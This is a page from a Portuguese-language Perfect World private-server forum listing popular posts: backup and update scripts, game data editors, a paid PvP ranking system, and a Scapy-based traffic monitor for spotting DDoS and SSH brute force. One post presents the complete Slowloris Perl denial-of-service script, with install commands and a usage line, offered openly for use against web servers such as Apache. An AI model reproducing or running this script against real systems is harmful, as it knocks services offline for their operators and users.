  30. Há um bom tempo eu criei esse script para fazer backup dos arquivos de um servidor meu e estou disponibilizando para quem precisar. ele faz backup das seguintes coisas: Database dos personagens (gamedbd/uniquenamed) Contas dos players (mysql) .datas (opcional, e você pode colocar para o script não fazer backup de algum .data específico) Depois ele junta tudo em um zip. backup.sh
    1 ponto
  31. ⚔️ Sistema de Ranking PvP Completo - In-Game + Web 💰 Valor Vitalício: R$ 300,00 📅 Aluguel Mensal: R$ 65,00 🔑 Licença vitalícia para uso em qualquer servidor Perfect World! 🧩 O que está incluído no pacote 🎮 Sistema In-Game Integrado 🏆 Rank PvP em tempo real, diretamente dentro do jogo 🔥 Sistema de Multi-Kill com efeitos e mensagens automáticas 📊 Logs detalhados por dia e por semana ⚔️ Rivalidade entre jogadores: detecta e destaca duelos frequentes 🎖️ Premiação Automática de Títulos por colocação no ranking ❌ Anti-farm e Anti-team kill: detecta abusos automaticamente 🛡️ Filtro de IP opcional para maior controle de manipulações 🚫 Penalidades com alertas automáticos in-game para jogadores que tentarem abusar 🎯 Missões PvP e desafios com recompensas bônus 🥇 Conquistas por marcos de kills (ex: 10, 50, 100...) com anúncios 🎁 Recompensas Diárias e Semanais para os mais ativos 🏅 Sistema de Ligas: Bronze, Prata, Ouro, Platina, Diamante e Mestre 📣 Mensagens automáticas no chat do jogo e também no Discord! 🌐 Painel Web Profissional 📊 Dashboard com Rankings Atualizados em Tempo Real 🧑‍💼 Perfil Detalhado do Jogador: kills, mortes, streaks, rivalidades, conquistas, liga atual, etc. 🔐 Editor de Ranking exclusivo para GMs com login protegido 🌍 Integração nativa com seu site oficial 📱 Design moderno e responsivo, compatível com celulares e tablets 📜 Logs e notificações administrativas via painel web 🎯 Diferenciais que vendem! Código otimizado, limpo e bem documentado Fácil integração com qualquer versão do seu servidor Atualizações frequentes e suporte dedicado Sem painel externo ou sistemas paralelos — tudo é feito nativamente 📢 Personalização Sob Medida Quer mudar o layout? Deseja adicionar um lado PvE exclusivo com ranking de monstros, dungeons ou conquistas PvE? ⚙️ Eu crio qualquer sistema sob-encomenda! 📽️ Demonstrações e Testes Envio vídeos do sistema em funcionamento Acesso de teste disponível: entre em contato e logue diretamente no servidor demonstrativo Veja com seus próprios olhos como o sistema se comporta! ⚠️ A versão atual está ainda mais avançada e completa do que a mostrada nas imagens. 📬 Interessado? Fale comigo agora mesmo: 📥 Inbox para vídeos e testes 💻 Desenvolvo sites, scripts e sistemas personalizados para qualquer necessidade de servidor PW! 0b671c75-3d04-4ec8-84fc-f2c1331132a1.jfif 1c14ee65-e5eb-4311-95ef-377dc5010f3c.jfif 095640e7-0ad4-4ca5-a2de-08144510d0a8.jfif
    1 ponto
  32. Olá bom dia a todos, Eu pedi autorização ao Segment para trazer essa ferramenta pra vocês, principalmente para quem está utilizando a versão 1.5.5 que foi construída por ele. Recomendado para quem tem o mínimo possível de conhecimento com programação, pois, qualquer alteração indevida, ela pode não funcionar mais, então, antes de qualquer alteração salve sempre um backup da ultima versão funcional. E principalmente utilize para gerar ainda mais conhecimento, pois esse é o intuito do fórum. Eu não tenho créditos nenhum por essa ferramenta, pois quando foi construída eu não conhecia o Segment ainda. Todos os créditos são absolutamente para ele, inclusive por deixar compartilhar isso com vocês. Tlgram: @segment32 (Ele aluga a versão 1.6.2, se quiser uma versão mais atual) Eu tenho muita coisa ainda, mas vamos com calma =) Com essa ferramenta e muita vontade, você consegue melhorar e muito seu servidor de Perfect World. Então, façam bom uso da ferramenta. Talvez em breve eu traga o código de algumas deamons para ampliar ainda mais. Só queria pedir para que não compartilhassem essa ferramenta fora do fórum suportegm, pois foi autorizado a trazer pra vocês no Brasil, pra que eu possa continuar trazendo conteúdos (não só dele, mas meu também,). Façam bom uso: 155dl source.rar
    1 ponto
  33. import Foundation import Security // 生成RSA密钥对 func generateRSAKeyPair() throws -> SecKey { let parameters: [String: Any] = [ kSecAttrKeyType as String: kSecAttrKeyTypeRSA, kSecAttrKeySizeInBits as String: 2048 ] var error: Unmanaged<CFError>? guard let privateKey = SecKeyCreateRandomKey(parameters as CFDictionary, &error) else { throw error!.takeRetainedValue() as Error } return privateKey } // 使用公钥RSA加密文件 func encryptFile(withPublicKey publicKey: SecKey, inputFile: URL, outputFile: URL) throws { let inputData = try Data(contentsOf: inputFile) let encryptedData = SecKeyCreateEncryptedData(publicKey, .rsaEncryptionOAEPSHA512, inputData as CFData, nil)! try encryptedData.write(to: outputFile) } // 使用私钥RSA解密文件 func decryptFile(withPrivateKey privateKey: SecKey, inputFile: URL, outputFile: URL) throws { let encryptedData = try Data(contentsOf: inputFile) let decryptedData = SecKeyCreateDecryptedData(privateKey, .rsaEncryptionOAEPSHA512, encryptedData as CFData, nil)! try decryptedData.write(to: outputFile) } // 生成RSA密钥对 let privateKey = try generateRSAKeyPair() let publicKey = SecKeyCopyPublicKey(privateKey)! // 指定输入和输出文件路径 let inputURL = URL(fileURLWithPath: "elements.data") let encryptedOutputURL = URL(fileURLWithPath: "encrypted_elements.data") let decryptedOutputURL = URL(fileURLWithPath: "decrypted_elements.data") // 使用公钥RSA加密文件 do { try encryptFile(withPublicKey: publicKey, inputFile: inputURL, outputFile: encryptedOutputURL) print("文件已成功加密!") } catch { print("加密文件时发生错误:\(error.localizedDescription)") } // 使用私钥RSA解密文件 do { try decryptFile(withPrivateKey: privateKey, inputFile: encryptedOutputURL, outputFile: decryptedOutputURL) print("文件已成功解密!") } catch { print("解密文件时发生错误:\(error.localizedDescription)") }
    1 ponto
  34. Olá a todos. Este é o editor de local de teleportes, arquivo que controla teletransporte no mundo principal. Editor: open \ edit \ save World_targets.sev \ .clt Edição múltipla Conversão de .clt para .sev e para trás Captando coordenadas do jogo Mostrando pontos teleport no mapa (mapa está em arquivos com Editor) Idiomas russo e inglês World Targets Editor By Luka.rar
    1 ponto
  35. Como Usar o Slowloris VERSÕES AFETADAS Este problema impacta vários servidores web, incluindo: Apache (versões 1.x e 2.x) dhttpd GoAhead WebServer Possivelmente outros servidores web Requisitos: sudo apt-get update sudo apt-get install perl sudo apt-get install libwww-mechanize-shell-perl sudo apt-get install perl-mechanize Utilizando ./slowloris.pl perl slowloris.pl -dns 127.0.0.1 -options #!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris by llaera =head1 VERSION Version 1.0 Stable =head1 DATE 02/11/2013 =head1 AUTHOR Laera Loris [email protected] =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
    1 ponto
  36. Bom uso a todos! Version: Python 3.13 Install: python3 -m pip install scapy #Notes Update Rate Limiting 03-01-25 Traffic Anomaly Detection 03-01-25 Packet Filtering 03-01-25 Add SSH monitoring 28-12-24 Config.txt # Configurações gerais de monitoramento e proteção # Defina as portas para monitoramento (exemplo: HTTP, SSH) PORTS_TO_MONITOR=80,7777,2106 # Se o bloqueio por HWID deve ser ativado BLOCK_HWID=true # Limites de pacotes MAX_PACKET_SIZE=1024 MAX_CONNECTIONS=100 CONNECTION_TIME_WINDOW=10 # Em segundos # Limitações de pacotes TCP e UDP MAX_TCP_PACKETS=500 MAX_UDP_PACKETS=300 # Configurações para proteção SSH SSH_PORT=22 SSH_BLOCK_THRESHOLD=5 # Número de tentativas antes de bloquear SSH_BLOCK_DURATION=3600 # Duração do bloqueio (em segundos) SSH_LOCKDOWN_THRESHOLD=10 # Número de tentativas excessivas antes de lockdown SSH_LOCKDOWN_DURATION=86400 # Duração do lockdown (1 dia) SSH_IP_ATTEMPTS_WINDOW=60 # Janela de tempo (em segundos) para tentativas de login SSH # Limitação de taxa de pacotes para evitar DDoS RATE_LIMIT_THRESHOLD=1000 # Limite de pacotes por IP DDoS_DETECTION_WINDOW=10 # Janela de tempo para detectar DDoS DDoS_CONNECTION_THRESHOLD=500 # Limite de conexões simultâneas que aciona a detecção de DDoS main.py import os import time import hashlib import uuid import platform import json import re from scapy.all import sniff, TCP, UDP, IP from collections import defaultdict from threading import Thread # Словари для хранения данных трафика и блокировок traffic_data = defaultdict(lambda: {"timestamps": [], "tcp_count": 0, "udp_count": 0, "packet_count": 0}) blocked_hwids = set() # Множество заблокированных HWID blocked_ips = defaultdict(lambda: {"block_time": None, "attempts": 0, "block_duration": 0}) # Блокировка IP # Стандартные настройки config = { "MAX_PACKET_SIZE": 1024, "MAX_CONNECTIONS": 100, "CONNECTION_TIME_WINDOW": 10, "PORTS_TO_MONITOR": [80, 7777, 2106], "MAX_TCP_PACKETS": 500, "MAX_UDP_PACKETS": 300, "BLOCK_HWID": True, "SSH_PORT": 22, "SSH_BLOCK_THRESHOLD": 5, # Порог для неудачных попыток входа SSH "SSH_BLOCK_DURATION": 3600, # Длительность блокировки SSH "SSH_LOCKDOWN_THRESHOLD": 10, # Количество чрезмерных попыток перед блокировкой "SSH_LOCKDOWN_DURATION": 86400, # Длительность блокировки (1 день) "SSH_IP_ATTEMPTS_WINDOW": 60, # Временное окно для попыток входа SSH "RATE_LIMIT_THRESHOLD": 1000, # Порог пакетов на IP "DDoS_DETECTION_WINDOW": 10, # Временное окно для обнаружения DDoS "DDoS_CONNECTION_THRESHOLD": 500 # Порог одновременных подключений } LOG_FILE = "logs.json" # Функция для загрузки конфигурации из файла def load_config(): global config if not os.path.exists("config.txt"): print("[INFO] Файл config.txt не найден. Используются настройки по умолчанию.") return with open("config.txt", "r") as file: for line in file: line = line.strip() if not line or line.startswith("#"): continue key, value = line.split("=") key = key.strip() value = value.split("#")[0].strip() if key in ["PORTS_TO_MONITOR"]: config[key] = list(map(int, value.split(","))) elif key in ["BLOCK_HWID"]: config[key] = value.lower() == "true" elif key in ["SSH_PORT", "SSH_BLOCK_THRESHOLD", "SSH_BLOCK_DURATION", "MAX_PACKET_SIZE", "MAX_CONNECTIONS", "CONNECTION_TIME_WINDOW", "MAX_TCP_PACKETS", "MAX_UDP_PACKETS", "RATE_LIMIT_THRESHOLD", "DDoS_DETECTION_WINDOW", "DDoS_CONNECTION_THRESHOLD", "SSH_LOCKDOWN_THRESHOLD", "SSH_LOCKDOWN_DURATION", "SSH_IP_ATTEMPTS_WINDOW"]: config[key] = int(value) else: config[key] = value # Функция для записи статистики def log_statistics(ip, hwid, reason, data): log_entry = { "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), "ip": ip, "hwid": hwid, "reason": reason, "tcp_count": data["tcp_count"], "udp_count": data["udp_count"] } try: with open(LOG_FILE, "r+") as f: logs = json.load(f) logs.append(log_entry) f.seek(0) json.dump(logs, f, indent=4) except Exception as e: print(f"[ERROR] Ошибка при сохранении в лог: {e}") # Функция для генерации уникального HWID def get_hwid(): mac_address = get_mac_address() system_uuid = get_system_uuid() unique_string = f"{mac_address}-{system_uuid}-{platform.system()}" return hashlib.sha256(unique_string.encode()).hexdigest() # Функция для получения MAC-адреса def get_mac_address(): try: mac = uuid.getnode() mac_address = ':'.join(("%012X" % mac)[i:i + 2] for i in range(0, 12, 2)) return mac_address except Exception: return "UNKNOWN_MAC" # Функция для получения UUID системы def get_system_uuid(): try: if platform.system() == "Linux": with open('/sys/class/dmi/id/product_uuid', 'r') as f: return f.read().strip() elif platform.system() == "Windows": import subprocess result = subprocess.check_output('wmic csproduct get uuid', shell=True).decode() return result.split('\n')[1].strip() return platform.node() except Exception: return "UNKNOWN_UUID" # Функция для мониторинга пакетов def monitor_packet(packet): if packet.haslayer(IP): src_ip = packet[IP].src current_time = time.time() hwid = get_hwid() # Инициализация данных трафика data = traffic_data[src_ip] if current_time not in data["timestamps"]: data["timestamps"].append(current_time) # Удаление меток времени, выходящих за пределы окна data["timestamps"] = [ ts for ts in data["timestamps"] if current_time - ts <= config["CONNECTION_TIME_WINDOW"] ] # Ограничение скорости: подсчет пакетов, полученных от IP data["packet_count"] += 1 # Обнаружение DDoS: ограничение пакетов на IP за определенный период времени if data["packet_count"] > config["RATE_LIMIT_THRESHOLD"]: print(f"[ALERT] IP {src_ip} отправляет слишком много пакетов. Возможная атака DDoS!") blocked_hwids.add(hwid) log_statistics(src_ip, hwid, "Превышен лимит пакетов", data) # Блокировка по TCP/UDP пакетам if packet.haslayer(TCP): data["tcp_count"] += 1 elif packet.haslayer(UDP): data["udp_count"] += 1 if data["tcp_count"] > config["MAX_TCP_PACKETS"]: blocked_hwids.add(hwid) log_statistics(src_ip, hwid, "Избыточное количество TCP пакетов", data) print(f"[ALERT] Избыточное количество TCP пакетов: {src_ip}") elif data["udp_count"] > config["MAX_UDP_PACKETS"]: blocked_hwids.add(hwid) log_statistics(src_ip, hwid, "Избыточное количество UDP пакетов", data) print(f"[ALERT] Избыточное количество UDP пакетов: {src_ip}") elif len(data["timestamps"]) > config["MAX_CONNECTIONS"]: blocked_hwids.add(hwid) log_statistics(src_ip, hwid, "Избыточное количество соединений", data) print(f"[ALERT] Избыточное количество соединений: {src_ip}") # Функция для мониторинга трафика SSH def monitor_ssh_traffic(): print("[INFO] Мониторинг трафика SSH...") try: sniff(filter=f"tcp port {config['SSH_PORT']}", prn=process_ssh_packet, store=False) except KeyboardInterrupt: print("[INFO] Мониторинг SSH прерван.") except Exception as e: print(f"[ERROR] Ошибка мониторинга SSH: {e}") # Функция для обработки пакетов SSH def process_ssh_packet(packet): if packet.haslayer(IP) and packet.haslayer(TCP): src_ip = packet[IP].src handle_ssh_attempt(src_ip) # Функция для обработки попыток входа SSH def handle_ssh_attempt(ip): current_time = time.time() data = blocked_ips[ip] # Если IP был заблокирован на более длительный период if data["block_time"] and current_time - data["block_time"] < data["block_duration"]: return # Увеличиваем счетчик попыток входа SSH data["attempts"] += 1 if data["attempts"] > config["SSH_BLOCK_THRESHOLD"]: block_ip(ip) data["block_time"] = current_time data["block_duration"] = config["SSH_BLOCK_DURATION"] # Длительность блокировки if data["attempts"] > config["SSH_LOCKDOWN_THRESHOLD"]: lockdown_ip(ip) data["block_time"] = current_time data["block_duration"] = config["SSH_LOCKDOWN_DURATION"] # Длительность блокировки # Функция для блокировки IP def block_ip(ip): print(f"[INFO] IP {ip} заблокирован за слишком много попыток входа SSH.") # Функция для применения блокировки для IP def lockdown_ip(ip): print(f"[INFO] IP {ip} попал в блокировку за слишком много попыток входа SSH.") # Функция для разблокировки IP после истечения срока блокировки def unblock_expired_ips(): current_time = time.time() for ip in list(blocked_ips.keys()): if current_time - blocked_ips[ip]["block_time"] > config["SSH_BLOCK_DURATION"]: print(f"[INFO] IP {ip} разблокирован.") del blocked_ips[ip] # Функция для начала мониторинга def start_monitoring(): print(f"[INFO] Мониторинг портов: {config['PORTS_TO_MONITOR']}") try: ports_filter = " or ".join([f"tcp port {port} or udp port {port}" for port in config["PORTS_TO_MONITOR"]]) sniff(filter=ports_filter, prn=monitor_packet, store=False) except KeyboardInterrupt: print("[INFO] Мониторинг прерван.") except Exception as e: print(f"[ERROR] Ошибка мониторинга: {e}") if __name__ == "__main__": load_config() # Запуск мониторинга SSH в отдельном потоке ssh_thread = Thread(target=monitor_ssh_traffic, daemon=True) ssh_thread.start() start_monitoring()
    1 ponto
  37. 🚨ATENÇÃO: LINKS DE DOWNLOADS CLIQUE AQUI #PW #perfectworld Esse vídeo vai lhe ensina como configurar uma maquina virtual no seu computador para criar um servidor private de perfect world, o passo a passo. HOW TO CREATE A PERFECT WORLD SERVER ANY VERSION STEP BY STEP
    1 ponto
  38. Permita que os players deixe a lojinha online mesmo depois de fazer logout LojinhaOffline.zip Como instalar: Apenas subistitua e dê permissão Testado apenas na versão 151
    1 ponto
  39. O Link de Download contém o Editor e a Source [Conteúdo Oculto]
    1 ponto
  40. Gente, tudo bem? Como cria aqueles comandos “!presente” ou alguma coisa assim, em que o jogador digita no chat e recebe recompensas uma única vez? Alguém tem algum tutorial ou os arquivos e pode compartilhar ou ensinar como fazer? Por favor
    1 ponto
  41. Abra os arquivos .data no editor para visualizar suas versões respectivas. Em seguida, compare esses arquivos .data com os que estão em funcionamento no PWServer. É provável que as versões sejam diferentes; nesse caso, você pode converter os .datas para a versão que esta funcionando usando o próprio editor. Eu tenho esses limpos aqui, tente ai (dentro tb tem os gshop-serverside) data155.zip
    1 ponto
  42. Não sei como a galera faz pra organizar uma atualização de servidor. Comecei a me deparar com esse problema quando a atualização era mto grande e eu acabava esquecendo de colocar alguma coisa. Tive a brilhante ideia de deixar todas as pastas criadas, e conforme eu fosse atualizando(no servidor de testes), eu ia jogando pra suas respectivas pastas, porém, toda vez que eu fazia uma atualização, tinha que sair excluindo as coisas dessa pasta pra poder começar uma nova atualização. Então criei um arquivo script(.bat) pra automatizar esse processo, e tornar minha vida mais fácil. Não sei se tem um jeito mais fácil de fazer, mas pra quem tiver começando nesse troço foi o modo mais simples que achei Como usar: Depois de baixar, basta colocar o script(.bat) no local que vc quer criar as pastas de atualização que ele já vai estar pronto para usar. Como ele funciona: Ao ser executado pela primeira vez ele só vai criar as pastas de atualização Quando ele é executado e a pasta já existe • Ele cria um backup compactado(opcional, só comentar uma linha no script(.bat) em .rar • Apaga a pasta da atualização • Cria novamente as pastas de atualização A pasta Cliente é pra jogar no /CPW/files/new A pasta Servidor é para jogar na pasta PWServer / home Caso queira mudar o icone dele: : Crie um atalho do script(.bat) : Renomeie o novo atalho para o nome que quiser : Clique com o botão direito do mouse no atalho e depois clique em Propriedade Depois que fizer isso, se quiser ficar vendo só o atalho(com o icone novo), basta ocultar o script(.bat) original: Caso queira abrir o script(.bat), pra alterar alguma coisa, basta clicar com o botão direito do mouse no arquivo original e clicar em Editar. Script(.bat): Gerar Atualização.bat
    1 ponto
  43. Aqui um arquivo com a .ecm de todos os personagens 刺客女.ecm - MERCF 刺客男.ecm - MERCM 剑灵女.ecm - ARCANOF 剑灵男.ecm - ARCANOM 妖兽男.ecm - BARBARO 妖精.ecm - FEITICEIRA 巫师女.ecm - PSYF 巫师男.ecm - PSYM 武侠女.ecm - GUERREIROF 武侠男.ecm - GUERREIROM 法师女.ecm - MAGOF 法师男.ecm - MAGOM 羽灵女.ecm - SACERDOTEF 羽灵男.ecm - SACERDOTEM 羽芒女.ecm - ARQUEIROF 羽芒男.ecm -ARQUEIROM 魅灵女.ecm - MYF 魅灵男.ecm - MYM 夜影女.ecm - RETALHADORF 夜影男.ecm - RETALHADORM 月仙女.ecm - TMF 月仙男.ecm - TMM ECM PERSONAGENS.rar
    1 ponto
  44. boa noite amigo, tb estou com erro no download e esse link que vc desponibilizou esta off, pode ajudar,
    1 ponto
  45. Olá, como prometido outro dia no chat, vim postar a versão 2 dessa aplicação. Além de melhorias no sistema de controle da Guerra Territorial, agora também há funções para gerir a Guerra das Nações. Funções adicionadas: Use com sabedoria e lembre sempre de testar antes de colocar em produção. A configuração se mantém a mesma da postagem principal. TwManager v2 + NwManager.rar
    1 ponto
  46. Aqui minha contribuição para esses arquivos GS com refino +10 máximo/Alterei para colocar as rates pelo gs.conf e interfaces.pck sem meridiano e astrolábios gs.rar interfaces.pck
    1 ponto

Suporte GM

Comunidade de Perfect World do Brasil

Copyright © 2023-2024 SuporteGM Powered by Invision Community
Поддержка Invision Community в России

Links

×
×
  • Criar Novo...